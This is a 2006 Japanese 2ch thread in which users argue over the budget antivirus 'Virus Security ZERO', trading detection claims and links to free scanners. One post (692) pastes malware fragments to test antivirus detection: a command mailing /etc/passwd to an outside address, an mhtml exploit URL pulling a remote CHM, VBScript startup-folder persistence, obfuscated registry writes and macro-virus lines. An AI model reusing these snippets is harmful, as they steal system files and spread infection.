基本的に2chのスレを「閲覧しただけ」でウイルスに感染するパターンは
2chブラウザで画像表示を有効にした状態でjpg等に偽装したウイルスを
ダウンロードしてしまうパターンのみだよ。
それさえ避ければ2chの中にいる限りウイルスに感染する事はない。
ただし2ch自体がクラッキングされた場合を除く。

640 :名無しさん@お腹いっぱい。:2006/09/10(日) 05:53:29
ここで危険なURLかどうかチェックできるみたい。今、別スレで知ったのだが。
SourceCheckerOn-line
http://so.7walker.net/guide.php?

641 :名無しさん@お腹いっぱい。:2006/09/10(日) 05:59:01
いろいろレスありがとうございます

642 :名無しさん@お腹いっぱい。:2006/09/10(日) 08:56:56
>>639

リンク先を絶対に見ない!!!!!…………  なんて言えない。

やっぱりセキュリティはVS以外にしよおう

643 :名無しさん@お腹いっぱい。:2006/09/10(日) 09:08:27
結局、
スケベ心のある奴・・・ウイルスセキュリティでは無理
スケベ心を自制できる奴・・・ウイルスセキュリティで十分

ということだろう

644 :名無しさん@お腹いっぱい。:2006/09/10(日) 09:15:33
なんかVSユーザ、嫌いになってきた

645 :名無しさん@お腹いっぱい。:2006/09/10(日) 09:42:10
>>639
画像表示を無効にするならわざわざLive2chなんて使わないし
画像表示有効は避けられないことなんだよ

646 :名無しさん@お腹いっぱい。:2006/09/10(日) 10:17:28
ZEROスレ・・・ウイルスセキュリティを讃えるスレ(擁護の社交場)
2006スレ・・・ウイルスセキュリティをたたくスレ(アンチの社交場)

でいいよ

647 :名無しさん@お腹いっぱい。:2006/09/10(日) 10:18:15
>>646
だまれ信者

648 :名無しさん@お腹いっぱい。:2006/09/10(日) 10:22:21
>>647
オイオイ・・・
アンチを支持する意見以外は、みんな信者扱いかよ

649 :名無しさん@お腹いっぱい。:2006/09/10(日) 10:25:15
ウイルスセキュリティをどれだけ擁護しようが糞なソフトなことに変わりはない。

650 :名無しさん@お腹いっぱい。:2006/09/10(日) 10:36:55
>>649
チミは過疎スレに逝って、好きなだけジロンを展開してくりたまえよwww

過疎スレ 【ソース/K7】ウイルスセキュリティ2006 Part24
http://pc8.2ch.net/test/read.cgi/sec/1157290211/

651 :名無しさん@お腹いっぱい。:2006/09/10(日) 10:37:54
>>650
持論?普遍的な事実だと思うが

652 :名無しさん@お腹いっぱい。:2006/09/10(日) 10:41:39

オンラインスキャンだよ!

VSユーザーのみんな〜是非スキャンしてみよう!

もちろん無料だよ。

ウイルスの検出だけで削除まではしてくれないけどね!

【トレンドマイクロ 】
http://www.trendmicro.co.jp/hcall/index.asp
【カスペルスキー】
http://www.kaspersky.co.jp/scanforvirus/
【シマンテック】
http://www.symantec.com/region/jp/securitycheck/

見つかるのは希望か、失望か?







653 :名無しさん@お腹いっぱい。:2006/09/10(日) 10:42:07
>普遍的な事実

洗脳による決めつけとは、恐ろしいものだ

654 :名無しさん@お腹いっぱい。:2006/09/10(日) 10:42:47
>>653
実験による決定事項だよ

655 :名無しさん@お腹いっぱい。:2006/09/10(日) 10:45:19
とりあえず、アンチの言い分は分かったから
もう気がすんだろう
ここは、擁護に解放してやるさ

656 :名無しさん@お腹いっぱい。:2006/09/10(日) 10:46:36
で、擁護はどんな話で盛り上がるんだ?

657 :名無しさん@お腹いっぱい。:2006/09/10(日) 10:46:50

倒せ、卑劣な敵を

658 :名無しさん@お腹いっぱい。:2006/09/10(日) 10:47:21

今現状、糞ソフトであることは間違いない!

これには同意?禿同?

659 :名無しさん@お腹いっぱい。:2006/09/10(日) 10:47:55

倒せ、卑劣な敵(アンチ)を

660 :名無しさん@お腹いっぱい。:2006/09/10(日) 10:49:18
倒せ、卑劣な敵(K7)をw

661 :名無しさん@お腹いっぱい。:2006/09/10(日) 10:51:10
いいさ、たとえアンチがここで何をわめこうと。
ここは、みんなウイルスセキュリティで満足しているんだからさ。

もう、ほっておいてくれよ。

662 :名無しさん@お腹いっぱい。:2006/09/10(日) 10:54:52
>>661
プッ、VSで満足?2chも安心して見れないのにか?
セキュリティにくらい金を使えよ、結局面倒くさいことになるんだからさ

663 :名無しさん@お腹いっぱい。:2006/09/10(日) 10:55:33
アンチは、そういう君らを笑い蔑みたいのだよ・・・

664 :名無しさん@お腹いっぱい。:2006/09/10(日) 10:58:14
みんなって。。。。誰?

右も左も分からない初心者が、セキュリティソフト(VS)を一応入れて自己満している →勘違い?

フリーソフト以下の低性能に気付いていない →詐欺?低脳?

PCオタだが面白半分にインスト →遊具?

665 :名無しさん@お腹いっぱい。:2006/09/10(日) 10:59:50
ここに来るアンチってみんなそうなのか?
ひどいな、笑いに来ているのか

666 :名無しさん@お腹いっぱい。:2006/09/10(日) 11:02:34
事実、真実を伝えてるだけ。

667 :名無しさん@お腹いっぱい。:2006/09/10(日) 11:03:03
>>663
違う、叱り罵りに来てるんだよ

668 :名無しさん@お腹いっぱい。:2006/09/10(日) 11:04:39
ののしり?
同じことだろ

669 :名無しさん@お腹いっぱい。:2006/09/10(日) 11:07:01
そうじゃないよ。警告だよ、これ以上被害者を出さない為にね。

霊感商法の壺とかの類だからね。これを買えば安心です。幸せになれます。

そろそろ目を覚まそう。騙されていることに気付こう。
これ1本でこの価格で10年間ALL OK!そんな話あるわけが無い。

670 :名無しさん@お腹いっぱい。:2006/09/10(日) 11:12:02

宗教やってる人に何言っても無駄だ。それでも少しでも正気に戻ってほしいから警告してるんだよ
これ以上道を踏みはずさないようにね

671 :名無しさん@お腹いっぱい。:2006/09/10(日) 11:12:04
初めてウイルスセキュリティを使うと、Windows起動中のアイコンは
なんだが、青い卵だと思った。

672 :名無しさん@お腹いっぱい。:2006/09/10(日) 11:36:05
アンチにだまされてはいけないよ
そろそろ、自社の製品を勧めてくるぞ
十分に値段の価値はあるとか言ってな
オレは前に、馬鹿高くて、クソ重いソフトを買わされたよorz

673 :名無しさん@お腹いっぱい。:2006/09/10(日) 11:40:33
>>672
フリーを使おう!

674 :名無しさん@お腹いっぱい。:2006/09/10(日) 11:48:12
>>672
フリーでいいじゃん
タダだよ?タダ。

675 :名無しさん@お腹いっぱい。:2006/09/10(日) 11:48:50
ヒント ウイルスセキュリティ以外なら進歩

676 :名無しさん@お腹いっぱい。:2006/09/10(日) 11:49:41
ソフトそのものも問題だが、それ以上にソースの姿勢に問題あリだな。俺は初代からのVSユーザ(といってもサブマシンしか入れていない。メインはノートン)だが、まともなテストもせずにリリースしてくる。古参の人なら分かるよね。信用できないんだよな。

677 :名無しさん@お腹いっぱい。:2006/09/10(日) 11:49:47
>>672

 ここで何か別の有料ソフトを薦めている書き込みなんてそうそうないよ。

 VS買って使うくらいなら、フリーソフトで十分って書き込みは多いけどね。


    嘘は、いくない。 ってか最初から見ればすぐバレる。

678 :名無しさん@お腹いっぱい。:2006/09/10(日) 12:34:09
ユーザーのみなさん、アンチに騙されるな!!
フリーは初心者にはお勧めできない、これホント!

まず、
各ソフトの存在特徴(名称、性能、使い勝手、重さなど)を調べて、
自分の環境に合うソフトを選択しなければならない。面倒だ!
ダウンロードサイトへのアクセス
インストールの手順、
設定の手間、全てが非常に分かりづらい!
もちろんどれも外国のサイトで不安だ!
文字も英文がほとんどで一層不安を高める。
当然、マニュアルなんぞ気の利いた物なんか全くない。
誰かに聞くこともできない。
使用開始では、メアドや名前を入力せねばならない。
得体の知れない外国の会社に、だ。
どこに漏れるか分からない!
ユーザーインタフェイスも英文。
使い勝手が悪すぎ、どのように動作しているか分からない。
初心者はやめた方が絶対にイイ!!
ウイルスセキュリティが初心者には一番イイ!!

679 :名無しさん@お腹いっぱい。:2006/09/10(日) 12:41:36
>>678
そうか、じゃあやっぱりVSに決めよう

680 :名無しさん@お腹いっぱい。:2006/09/10(日) 12:51:01
旧御三家
ノートン、バスター、マカフィー

未来派御三家
NOD32、ウイルスセキュリティ、カスペルスキー



681 :名無しさん@お腹いっぱい。:2006/09/10(日) 12:54:17
>>676
日本語で書いてあっても信用できない。

682 :名無しさん@お腹いっぱい。:2006/09/10(日) 12:55:24
>>680
あり得ん。妄想乙。

683 :名無しさん@お腹いっぱい。:2006/09/10(日) 12:58:00
NOD32の将来性を否定するのか?
ノートン販売工作員乙

684 :名無しさん@お腹いっぱい。:2006/09/10(日) 12:59:21
>>683
ハイハイ、NOD厨獄

685 :名無しさん@お腹いっぱい。:2006/09/10(日) 13:01:50
VSもそうだけど「将来は〜」とか言ってるソフトに未来は無い

686 :名無しさん@お腹いっぱい。:2006/09/10(日) 13:34:56
社長のインタビュー読んだが、詭弁ばかりだな
突っ込みどころ満載でワロタ


687 :名無しさん@お腹いっぱい。:2006/09/10(日) 13:59:56
>>678
ほんのちょっとの努力だよ
その経験があなたのスキル

avast! 4 Home
http://www.iso-g.com/modules/xfsection/index.php?category=1

AntiVir
http://www.avpusers.org/


AVGは、いらね
http://www4.pf-x.net/~zot/av/detect060725.html

688 :名無しさん@お腹いっぱい。:2006/09/10(日) 14:19:58
マイクロソフト ウイルス対策パートナー
http://www.microsoft.com/athome/security/viruses/wsc/ja/flist.mspx


ウイルスセキュリティなんかつかうなよ
マイクロソフトがウイルス対策パートナー にしないということは
非常事態にノータッチだぞ

689 :名無しさん@お腹いっぱい。:2006/09/10(日) 14:27:02
>>386


690 :名無しさん@お腹いっぱい。:2006/09/10(日) 14:36:27
>>688
あーそれね。俺も感染したとき富士通のカスタマーセンターに電話して
「VS使ってます。」って言ったら「あー、それが原因かもしれませんねー。アンインストールして新しいものを入れたほうが良いですよw」と言われた。
マジでVSを恨んだ

691 :名無しさん@お腹いっぱい。:2006/09/10(日) 15:01:02
なんら利害関係も無い他社の人間が、そこまで否定できちゃうVSって凄いなw

692 :名無しさん@お腹いっぱい。:2006/09/10(日) 15:11:19
VSは↓のスクリプトで反応するか? 少なくともAntiVirではHTML/Exploit.Mhtmlとして反応した、

<body onload=window()>cat /etc/passwd | mail nobody@nonexistent.com
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
"avgnt"="\"C:\\Program Files\\AntiVir PersonalEdition Classic\\avgnt.exe\" /min /nosplash"
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub

他のアンチウイルスで反応するかレポート頼む

693 :名無しさん@お腹いっぱい。:2006/09/10(日) 15:16:40
しかしノートンのシェアには誰も敵わない

694 :名無しさん@お腹いっぱい。:2006/09/10(日) 16:19:55
ttp://www.higaitaisaku.com/antiviruswarning.html
ZEROはアダ被でも相手にされてない m9(^Д^)プギャーーーーーーーッ!!


695 :名無しさん@お腹いっぱい。:2006/09/10(日) 18:03:46
なぜ、ここにアンチがワラワラと集まるのか?

それは、アンチたちは気になって気になって仕方がないからだ。
つまり、ウイルスセキュリティの評判がすごく気になるのだ。
だから、少しでも肯定的な意見が出ようものなら、
本当にウンカの如く湧いて出てきて徹底的にたたきつぶす。
アンチとそのバックにいる利害関係にある者達は、
このような、旧来の悪しき業界の秩序を根底から覆すソフトの
存在は、決して捨て置けない。
アンチたちが言う本当に検出力がたいしたことが無ければ、
ほおっておいてもウイルスセキュリティは自滅するはずなのに。
性能をけなす割に、24時間このスレを監視しているのは、
そういうストーカーの如く、裏工作をせざるを得ない事情があるのだ。


696 :名無しさん@お腹いっぱい。:2006/09/10(日) 18:31:52
http://www.google.co.jp/search?ie=UTF-8&oe=UTF-8&hl=ja&lr=lang_ja&q=%E3%82%BD%E3%83%BC%E3%82%B9%E3%83%8D%E3%82%AF%E3%82%B9%E3%83%88%E3%81%AE%E9%87%8D%E5%A4%A7%E7%96%91%E6%83%91


697 :名無しさん@お腹いっぱい。:2006/09/10(日) 19:55:53
なぜ、ここに擁護班がワラワラと集まるのか?

それは、ソース社員たちは気になって気になって仕方がないからだ。
つまり、ウイルスセキュリティの売り上げがすごく気になるのだ。
だから、少しでも不利益な意見が出ようものなら、
本当にウンカの如く湧いて出てきて徹底的にたたきつぶす。
擁護班とそのバックにいる利害関係にある者達は、
このような、ソー久の悪しき組織の手口を根底から暴露するアンチの
存在は、決して捨て置けない。
擁護班たちが言う本当に検出力に自信があるのであれば、
ほおっておいてもウイルスセキュリティは馬鹿売れするはずなのに。
性能に自信がある割に、24時間このスレを監視しているのは、
そういうストーカーの如く、裏工作をせざるを得ない事情があるのだ。



698 :名無しさん@お腹いっぱい。:2006/09/10(日) 20:10:52
   |:::::::::::::::::   ____________    :::::::::|
手  |::::::::::::: ,. '":::::::::::::::::::::::::`ヽ.  ::::::::| 検  ど
遅  |:::::  /::::::::く:::::::╋::::::::>:::::::::\  :::| 出.   こ
れ  |:::: 〈:::::::::;:::--- 、─ァ -- 、:;:::::::::〉 :::| 力   が
で. .|:::::  ,〉'"      `'´     `ヽ!  :| で  悪
す  |:::: /   /  ハ  ハ ヽ ヽ 、  ',  | す   い
ね. |:::: i  ,'  /!__i_, !' ! ,_ハ__ハ ',  ! ', か  ん
  ゜/::  ノ.! ! /,ィ-ァ!、! レ',ィ-=!、! i ハ  〉    で
´\|::  〈 ノ Yレヘ''ゞ-'     ゞ-''/レ' ン ∠、    す
::::    〈 ハ  !ハ."  ______  "ハ ハ !   !    か
::     ノ、 `ァ'_」>、._`ー' ,,.イ/イ、ノ    ヽ.  ?
     / `ァ''´ ',   ヽ干´ン::::::::::::`ヽ.   `''ー─
    ! ヽ/   ,y ヽ、. .,!':::::::::.y::::::::::::',
    〉r〈_,.-、7-、  Y十::::.::::::i::::::::::::::〉
:    レ^iY⌒ヽ,イ'ヽ-! .|::::::::::::::;ハr、::::Y
::      '! ,ィ〈 `y'´`ヽ!::::::::::::/´⌒'/'
:::      Y´ヽ、)-'、___ノ、::::::::/   /


699 :名無しさん@お腹いっぱい。:2006/09/10(日) 20:31:17
アンチ共がうざいな。お前らのおかげでスレの勢いがセキュ板で一番じゃねぇか。
この神聖なウイルスセキュリティスレを汚さないでくれ。240万人が愛用する優秀なソフトに失礼だろ。

700 :名無しさん@お腹いっぱい。:2006/09/10(日) 20:33:32
ZEROって常駐させた時のメモリ使用量はどのくらいですか?
(アンチはスルーします)

701 :名無しさん@お腹いっぱい。:2006/09/10(日) 20:40:37
マイクロソフト非認定の低検出ソフト

http://sec.sourcenext.info/support/agreement.html

本製品の選択および使用効果については、お客様の責任とさせていただきます。




702 :名無しさん@お腹いっぱい。:2006/09/10(日) 20:46:14
32MB

703 :名無しさん@お腹いっぱい。:2006/09/10(日) 21:04:05
ウイルスを100としたらVSはどれだけ検出できますか?
50程度
他の有料ソフトは?
80オーバーはいきます

704 :名無しさん@お腹いっぱい。:2006/09/10(日) 21:05:40
>>702
32ですか。結構消費しませんね、とりあえず買ってみようと思います。
ありがとうございました

705 :名無しさん@お腹いっぱい。:2006/09/10(日) 21:13:05
>>703
平均すれば50は届かないかと

706 :名無しさん@お腹いっぱい。:2006/09/10(日) 21:40:31
「一般人」の使用では、問題ない。

怪しいサイトに突撃するパソオタ・エロマニアには、不満だろうけど。

707 :名無しさん@お腹いっぱい。:2006/09/10(日) 21:42:12
>「一般人」の使用では、問題ない。
知らぬが仏

708 :名無しさん@お腹いっぱい。:2006/09/10(日) 21:43:45
>擁護班たちが言う本当に検出力に自信があるのであれば

ここでVSを使っている人は、別に検出力マンセーでもないし、
自信があるなどとも言っていません。
パソキチでない普通の人なら、これでも差し支えないと
言っているだけです。

709 :名無しさん@お腹いっぱい。:2006/09/10(日) 21:51:41
普通に外国語サイトいくぶんは?

710 :名無しさん@お腹いっぱい。:2006/09/10(日) 21:53:52
>>708
ようするにVSの能力の低さは納得済みで
ネットでの安全な行動範囲が他のソフトに比べてきわめて狭いと
わかりやすく言えばいいのに

711 :名無しさん@お腹いっぱい。:2006/09/10(日) 21:57:38
あとは普通の人のつもりで見ていた、普通のはずのサイトが
たまたまVSの対応限界を超えたウイルスで感染してたら対処なしで
(たとえば価格ドットこむとか)
そういう非常事態には非常に弱いということだな?

検出力が低いということはそういうことだ

712 :名無しさん@お腹いっぱい。:2006/09/10(日) 21:58:35
>>706
メールも個人のサイトも一切関知しないのが
「一般人」の使用方法だとは知らなかったよ。 流石にVS者の意見は斬新だ

713 :名無しさん@お腹いっぱい。:2006/09/10(日) 22:03:27
家の鍵は、針金でも空けられてしまうような鍵を使ってます。でも、今まで
泥棒に入られたことはないので、普通に住む分にはこれで十分です。みんなに
もお勧めです。

 
       馬鹿ですか?


714 :名無しさん@お腹いっぱい。:2006/09/10(日) 22:05:29
一般人てさ、パソキチとやらに比べてネットの知識ないわけだよな
たとえば、セキュリティソフト入れてれば大丈夫とか簡単に思うわけよ
メール添付のファイルを実行しちゃいけないとか、
テキスト形式だけにしておかないとプレピューしただけで感染するのもあるとか知らないってな
HP見るだけで感染する場合もあるとか、簡単に危ないソフト入れるなとか
そんな知識のない人が使うソフトにVSがふさわしいとはいえないと思うけどな
検出力低くて感染してもわからないわけで
そういう一般人の皆様には有料のもっといい統合セキュリティソフトを使ってほしいと思う


715 :名無しさん@お腹いっぱい。:2006/09/10(日) 22:13:14
VSは安いです! 更新料も無料です!!
ただし、それは安全性と引き換えです
対応してないウイルスにあっても検出できないので、わかりません
被害を拡大するだけですが、VSの安全性が価格と同程度なだけです
それを知らないで値段だけで選び、危ないところ(VSに対応できないところ)に行ったあなたが悪いのです
(実は無料ソフトより能力下なので、1980円とかでも高いくらいなのは秘密です)

716 :名無しさん@お腹いっぱい。:2006/09/10(日) 22:27:50
うちはセコム入れてる。家の敷地外につながる門はナンバーキーつけてる
ごくごく普通の家だ。知り合いはオーバーなセキュリティだと言っていた
近所に日中でも平気で門開けてる家があった。普通に暮らしててそんなセキュリティ必要ないって
そしてある日泥棒が多発。その家は泥棒が入って大慌てしてた。俺んち無傷
非常事態が起きてからじゃだめなんだよな

717 :名無しさん@お腹いっぱい。:2006/09/10(日) 22:32:26
Blasterみたいなウイルスが世界的に大規模に流行ればその性能の真価がわかるだろうな>ウイルスセキュリティ

718 :名無しさん@お腹いっぱい。:2006/09/10(日) 22:36:26
>>Blasterみたいなウイルスが世界的に大規模に流行れ
VSでは検地できず、他の高検出ソフトは無事で
結果としてウイルスばらまく源泉と化すとか?

719 :名無しさん@お腹いっぱい。:2006/09/10(日) 22:37:29






姉歯建築といっしょだな。

そのときが来るまで、真価はわからないわけだ。

倒れたときは想定外か?






720 :名無しさん@お腹いっぱい。:2006/09/10(日) 22:38:24
大手は性能で勝負してシェアを上げてきて、まさに正統派なんだよね。
VSは低価格と広告戦略でシェアを上げてきて正統派とは言えない。
大手は価格競争に巻き込まれるしね。
アンチはそれが気に入らないんだよね。
でもシェアを上げてきたVSもこれからは社会的な影響も考えて性能アップをはかるんじゃないかな。

大手は性能戦略から価格戦略へ。

VSは価格戦略から性能戦略へ。

721 :名無しさん@お腹いっぱい。:2006/09/10(日) 22:39:36
>>姉葉建築といっしょだな。
うまい!能力の低さは調べたらわかるのに公表せず
値段を浮かして儲けと客をとる


722 :名無しさん@お腹いっぱい。:2006/09/10(日) 22:51:34
なんかアップデートできなくなった。手動でやるとサーバに接続できませんってなる
アンインストールしてから、改めてインストールしてもだめだぁ。

どうすればいいのか.....

723 :名無しさん@お腹いっぱい。:2006/09/10(日) 23:01:55
検出力テスト結果見ると、VSに金払うのがアホらしくなるな。
ウィルス対策はフリーの「AntiVir」か「avast」でいいみたいじゃん。
ファイアーウォールもフリーの「Zone Alarm」とかあるし。

724 :名無しさん@お腹いっぱい。:2006/09/10(日) 23:32:26
所詮、ここのアンチなどなんの知識もなく、
どこかから仕入れた一方的な情報を垂れ流すだけ。
ソフトやソースに対して筋違いな恨みを抱き続ける偏執狂だから。
そんな連中の戯れ言につき合う必要はない。
無視するのが一番いい。

常識的な使い方ならば、ウイルスセキュリティで、十分。

725 :名無しさん@お腹いっぱい。:2006/09/10(日) 23:34:23
ユーザーのみなさん、アンチに騙されるな!!
フリーは初心者にはお勧めできない、これホント!

まず、
各ソフトの存在特徴(名称、性能、使い勝手、重さなど)を調べて、
自分の環境に合うソフトを選択しなければならない。面倒だ!
ダウンロードサイトへのアクセス
インストールの手順、
設定の手間、全てが非常に分かりづらい!
もちろんどれも外国のサイトで不安だ!
文字も英文がほとんどで一層不安を高める。
当然、マニュアルなんぞ気の利いた物なんか全くない。
誰かに聞くこともできない。
使用開始では、メアドや名前を入力せねばならない。
得体の知れない外国の会社に、だ。
どこに漏れるか分からない!
ユーザーインタフェイスも英文。
使い勝手が悪すぎ、どのように動作しているか分からない。
初心者はやめた方が絶対にイイ!!
ウイルスセキュリティが初心者には一番イイ!!

726 :名無しさん@お腹いっぱい。:2006/09/10(日) 23:43:54
勝手にウイルステストのウイルスセキュリティZEROの簡易ウイルス検知テストレポート
ttp://ratan.dyndns.info/avast4/zero2006.html

727 :名無しさん@お腹いっぱい。:2006/09/10(日) 23:49:03
>>724
>>725

社員は生活がかかってるからねぇ。
工作員は仕事を上手くこなせないととクビだしね。

このソフトは操作が簡単で扱いやすいのは、その通りだと思うけど
感染したフォルダや感染したプログラムをウイルス検査して「ウイ
ルス感染はありませんでした」の表示が出るソフトは初心者にとって
果たしてお勧めできる代物なのか?と思う。

素人、初心者が普通の使い方をしていれば感染しないって!?


それならセキュリティソフトの類は必要ない!と思うのだがどうだろう。




こんなソフトを薦める奴の良心など知れたものだと思われ

728 :名無しさん@お腹いっぱい。:2006/09/10(日) 23:50:23
          
 Windowsを中心としたマルウェア3万7116ファイル(圧縮ファイル含む:計2.19GB)
  における検出数(数値は検出数)

              ├───────────┐
    カスペルスキー .│                37999 .│
              ├───────────┘
              ├──────────┐
ウィルスセキュリティ .│              15043 .│
              ├──────────┘
              │          │          │
        ←low 1000         10000        100000 high→

  こうやってグラフにしてみると分かるがあまり検出数に差はない
  むしろコストパフォーマンスの差が大きくて検出数だけで計れないモノがある

       15043
       ___  37999
       |      |\ .__
       |      | | | ||
       |      | | | ||  
       |      | | | ||  
       |      | | |_||カスペルスキー
       |      | |//
       |      | | /     グラフを立体化して比較すると更に分かりやすい
       |      | | /      むしろウイルスセキュリティの方が大く感じられる
       |      | |/
       |      | ./
       |___|/ウイルスセキュリティ
     /     /

729 :名無しさん@お腹いっぱい。:2006/09/10(日) 23:51:59
板住民の取り決めにより、ここはウイルスセキュリティを讃えるスレ!
になりました。

よって、アンチは2006スレの方に移動してください。


730 :名無しさん@お腹いっぱい。:2006/09/10(日) 23:55:08

 VSZERO = 姉歯設計

 大きな被害が出る前に建築基準と同様にウイルスの検出基準を設けるべきだ。


 そういう基準がないとこんな安いだけのまがい物が普通に店頭に並び、
 善良な国民は結果として不利益を被る。


731 :名無しさん@お腹いっぱい。:2006/09/10(日) 23:55:45

ウイルスセキュリティ安くて、いいよ

732 :名無しさん@お腹いっぱい。:2006/09/10(日) 23:57:36
アンチがいなくなったら、このスレは
ソース社員の宣伝場所になってしまう

733 :名無しさん@お腹いっぱい。:2006/09/10(日) 23:58:01
板住人って誰と誰よ?

何を勝手なこと言ってんの!?

今後の販売注力見据えてZEROを保護していこうってか?


734 :名無しさん@お腹いっぱい。:2006/09/11(月) 00:01:19
いよいよ、ウイルスセキュリティZEROの時代がやってきた。

旧御三家
ノートン、バスター、マカフィー

新御三家
NOD32、ウイルスセキュリティ、カスペルスキー


735 :名無しさん@お腹いっぱい。:2006/09/11(月) 00:05:57
無料ソフト以下のくせにおおきな顔するな
NODやカスペリーがかわいそうだろ
世界レベルのソフトと同じ扱いうけようなど、検出力を今の3倍あげてからいえ

736 :名無しさん@お腹いっぱい。:2006/09/11(月) 00:06:30
ウイルスセキュリティを使う人は、

どんどん、どんどん

増えています!

737 :名無しさん@お腹いっぱい。:2006/09/11(月) 00:07:40
>カスペリー

www

738 :名無しさん@お腹いっぱい。:2006/09/11(月) 00:07:50
被害者がだろ

739 :名無しさん@お腹いっぱい。:2006/09/11(月) 00:09:51
ここで信者が暴れるのは結構だが他スレで喚くのは勘弁して欲しい

740 :名無しさん@お腹いっぱい。:2006/09/11(月) 00:10:11
いよいよ、ウイルスセキュリティ躍進の年
愛用者1000万、1億も間近!

741 :名無しさん@お腹いっぱい。:2006/09/11(月) 00:10:40
VSの低能力を知らない、信者ですら行動制限を当たり前っていってるようなソフトを
能力を知らされずに値段だけで買ってる被害者・・
無料ソフトのほうがいいのに。無料だけど提供しているのはきちんとしたセキュリティ会社なのに
 
そいえば、インドってITが進んだ国なのにK7って本当無名だね

742 :名無しさん@お腹いっぱい。:2006/09/11(月) 00:11:38
ソースも馬鹿だよな
中国語版出せば良いのに
あいつらなら簡単に騙せるだろ

743 :名無しさん@お腹いっぱい。:2006/09/11(月) 00:13:45
>信者ですら行動制限を当たり前

工作員乙
アンチは、これくらいの悪事は造作ないらしい
まさに糞だね

744 :名無しさん@お腹いっぱい。:2006/09/11(月) 00:13:46
>>740
なんかオウムで信者勧誘を激励してる幹部みたい
創価学会の会合でも同じ言い方してる
なんで、能力については言わないの?
売りは値段だけって自覚してるのは知ってるけど。
能力低いから、ネットでの安全な行動範囲は制限されるし、非常事態に弱いのも
信者自身が言ってるから知ってるけど

745 :名無しさん@お腹いっぱい。:2006/09/11(月) 00:14:17
愛用者がさすがに1000万人に増えればこのソフトの低レベルさに誰しも気づくよなw

746 :名無しさん@お腹いっぱい。:2006/09/11(月) 00:15:16
アンチは2006スレにいくのではなかったのか?

747 :名無しさん@お腹いっぱい。:2006/09/11(月) 00:17:00
なぜ、ここにアンチがワラワラと集まるのか?

それは、アンチたちは気になって気になって仕方がないからだ。
つまり、ウイルスセキュリティの評判がすごく気になるのだ。
だから、少しでも肯定的な意見が出ようものなら、
本当にウンカの如く湧いて出てきて徹底的にたたきつぶす。
アンチとそのバックにいる利害関係にある者達は、
このような、旧来の悪しき業界の秩序を根底から覆すソフトの
存在は、決して捨て置けない。
アンチたちが言う本当に検出力がたいしたことが無ければ、
ほおっておいてもウイルスセキュリティは自滅するはずなのに。
性能をけなす割に、24時間このスレを監視しているのは、
そういうストーカーの如く、裏工作をせざるを得ない事情があるのだ。

748 :名無しさん@お腹いっぱい。:2006/09/11(月) 00:18:54
>創価学会の会合でも同じ言い方してる
学会員乙

749 :名無しさん@お腹いっぱい。:2006/09/11(月) 00:19:59
>>743
706 :名無しさん@お腹いっぱい。:2006/09/10(日) 21:40:31
「一般人」の使用では、問題ない。

怪しいサイトに突撃するパソオタ・エロマニアには、不満だろうけど。

相手を選ぶ=行動制限でございます。ちなみにVSに対応してないウイルスに遭遇することじたいが
一般じゃないというんでしょうが
VSの低検出力を普通扱いするそちらの感性が異常だと思いますけど


750 :名無しさん@お腹いっぱい。:2006/09/11(月) 00:20:26

オンラインスキャンだよ!

VSユーザーのみんな〜是非スキャンしてみよう!

もちろん無料だよ。

ウイルスの検出だけで削除まではしてくれないけどね!

【トレンドマイクロ 】
http://www.trendmicro.co.jp/hcall/index.asp
【カスペルスキー】
http://www.kaspersky.co.jp/scanforvirus/
【シマンテック】
http://www.symantec.com/region/jp/securitycheck/

見つかるのは希望か、失望か?







751 :名無しさん@お腹いっぱい。:2006/09/11(月) 00:21:10
>>746
それ信者が勝手にいってるだけ
>>748
元ね


752 :名無しさん@お腹いっぱい。:2006/09/11(月) 00:21:12
そうか、749はエロマニアか

753 :名無しさん@お腹いっぱい。:2006/09/11(月) 00:22:05
エロマニアには、VSはダメだろう

754 :名無しさん@お腹いっぱい。:2006/09/11(月) 00:23:08
>>747
>自滅するはずなのに

そうとも言い切れないかと
安さは魅力に違いないし

>事情があるのだ

同じく言い切れないかと
単に「あんなのダメじゃん」と言って遊んでるだけかも



755 :名無しさん@お腹いっぱい。:2006/09/11(月) 00:23:16

 不利益発言=アンチ・キチガイ扱い

 このソフトと一緒で本当に低脳だな、工作員!

756 :名無しさん@お腹いっぱい。:2006/09/11(月) 00:25:37
ウイルスキラー オンラインスキャン
ttp://online.rising.com.cn/free/rav.htm

757 :名無しさん@お腹いっぱい。:2006/09/11(月) 00:25:52
>>752
普通にファイル共有(notウィニー)してるアニメ好き
エロはすかん
外国語サイトにもしょっちゅういくんだが、情報もとめて
時に、VSは一般人の使用なら問題ないと言ってるVS信者
それVSの説明書にのってるか?とうぜん一般人の定義もな

758 :名無しさん@お腹いっぱい。:2006/09/11(月) 00:28:24
低検出でウイルス対応は他のソフトの半分以下
当然、感染しても対応してないとそれまでで被害が増えるだけ
操作は簡単、軽い、安い、しかし安全性と引き換え
当然、ターゲットである無知な一般人に説明しての売り上げなんだろうな?w

759 :名無しさん@お腹いっぱい。:2006/09/11(月) 00:31:39
>>753
そうか、エロマニアにはだめか
ネットでの行動制限かかってるな。
VSつかうとネットで自由に動くと安全じゃないんだな
よくわかった
相手を選ぶし、自由もないというならパッケージや広告にちゃんと書いておけよ
「VSは検出力や能力が低いので、ネットで行動制限が必要です」


760 :名無しさん@お腹いっぱい。:2006/09/11(月) 00:36:05
つづき
「なお、企業などでの大量購入はお勧めできません」
